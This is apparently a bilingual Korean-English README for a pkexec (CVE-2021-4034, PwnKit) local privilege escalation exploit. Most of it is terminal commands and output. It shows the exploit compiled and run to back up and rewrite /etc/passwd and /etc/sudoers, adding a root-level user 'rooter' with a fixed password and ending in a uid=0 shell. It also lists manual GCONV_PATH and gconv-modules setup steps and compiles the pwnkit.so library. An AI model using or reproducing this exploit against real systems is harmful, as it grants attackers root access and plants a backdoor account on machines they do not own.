
CVE-2021-4034(pkexec)에 대한 익스플로잇으로, sudo 권한을 가진 루트 사용자를 추가합니다. 수동 익스플로잇 단계를 포함하며, 로컬 권한 상승을 위해 pwnkit.so를 컴파일합니다.
CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation
CVE-2021-4034를 기반으로 강화되었으며, Exploit을 실행하면 기본적으로 사용자 이름 rooter, 비밀번호 Hello@World가 추가되고, rooter 사용자는 sudo 권한을 갖게 됩니다.
Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The rooter user will have sudo privileges.
test@some:~$ gcc cve-2021-4034.c -o ./exp
test@some:~$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...
test@some:~$ su rooter
Password:
root@some:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@some:/home/test#
대상 환경에 gcc가 없는 경우, 명령을 수동으로 실행하고 로컬에서 pwnkit.so를 컴파일할 수 있습니다.
$ mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
$ mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
$ mkdir pwnkit
$ gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
$ gcc pkexec.c -o pkexec
$ ./pkexec
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...